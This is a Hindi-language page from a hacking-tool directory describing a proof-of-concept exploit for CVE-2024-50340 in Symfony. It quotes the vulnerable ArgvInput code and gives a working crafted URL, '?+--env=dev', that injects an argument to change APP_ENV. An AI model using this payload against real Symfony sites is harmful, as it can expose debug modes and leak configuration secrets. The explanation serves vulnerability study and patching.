Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-50340 — CVE-2024-50340 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Symfony ArgvInput में क्राफ्टेड URL क्वेरी पैरामीटर्स के जरिए एनवायरनमेंट वेरिएबल इंजेक्शन प्रदर्शित करता है, जिससे APP_ENV और APP_DEBUG में हेरफेर संभव होता है। | Kitploit
उपकरण/GitHubGitHub/nyamort/cve-2024-50340
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubnyamort/cve-2024-50340

CVE-2024-50340

CVE-2024-50340 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Symfony ArgvInput में क्राफ्टेड URL क्वेरी पैरामीटर्स के जरिए एनवायरनमेंट वेरिएबल इंजेक्शन प्रदर्शित करता है, जिससे APP_ENV और APP_DEBUG में हेरफेर संभव होता है।

रिपॉजिटरी देखें
121 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-50340 POC

आवश्यकताएँ

PHP कॉन्फ़िगरेशन फ़ाइल (php.ini) में register_argc_argv विकल्प सक्षम होना चाहिए। यह सेटिंग कमांड-लाइन तर्कों और क्वेरी पैरामीटर्स को $_SERVER['argv'] में लोड करती है। https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

कमजोर कोड का स्पष्टीकरण

यह Symfony कोड कुछ पर्यावरण चरों, विशेष रूप से APP_ENV और APP_DEBUG के मान निर्धारित करने के लिए इनपुट तर्कों (ArgvInput) का उपयोग करता है। यहाँ Symfony कोड के प्रासंगिक भाग दिए गए हैं:

root@kitploit:~
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

उपरोक्त कोड ArgvInput के माध्यम से प्रदान किए गए तर्कों को संसाधित करता है। यदि argv में --env पैरामीटर निर्दिष्ट है, तो यह तदनुसार पर्यावरण चर APP_ENV को अपडेट करता है। इसी प्रकार, यदि --no-debug मौजूद है, तो यह APP_DEBUG को 0 पर सेट करता है।

ArgvInput वर्ग

ArgvInput वर्ग argv पैरामीटर्स को आरंभ करता है जो कमांड लाइन, क्वेरी पैरामीटर्स या डिफ़ॉल्ट रूप से $_SERVER['argv'] में मौजूद होते हैं। array_shift($argv); फ़ंक्शन $argv ऐरे से पहला तत्व (सामान्यतः एप्लिकेशन का नाम) हटाता है और शेष तर्कों को $this->tokens में संग्रहीत करता है।

root@kitploit:~
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

PoC उदाहरण

निम्नलिखित URL का उपयोग करके: http://localhost/?+--env=dev, हम $_SERVER['argv'] में एक --env=dev तर्क इंजेक्ट कर सकते हैं। यह हमें एप्लिकेशन के कॉन्फ़िगरेशन को सीधे बदले बिना APP_ENV मान को dev में बदलने की अनुमति देता है।

  1. http://localhost/?+--env=dev तक पहुँचने पर, $_SERVER['argv'] कुछ इस प्रकार दिख सकता है:
root@kitploit:~
$_SERVER['argv'] = ["+--env=dev"];
  1. ArgvInput वर्ग में, array_shift ऑपरेशन के बाद, $argv बन जाता है:
root@kitploit:~
$argv = ["--env=dev"];
  1. ArgvInput तब --env=dev को एक वैध पैरामीटर के रूप में पहचानेगा और getParameterOption विधि के माध्यम से APP_ENV को तदनुसार अपडेट करेगा।
टूल डाउनलोड करें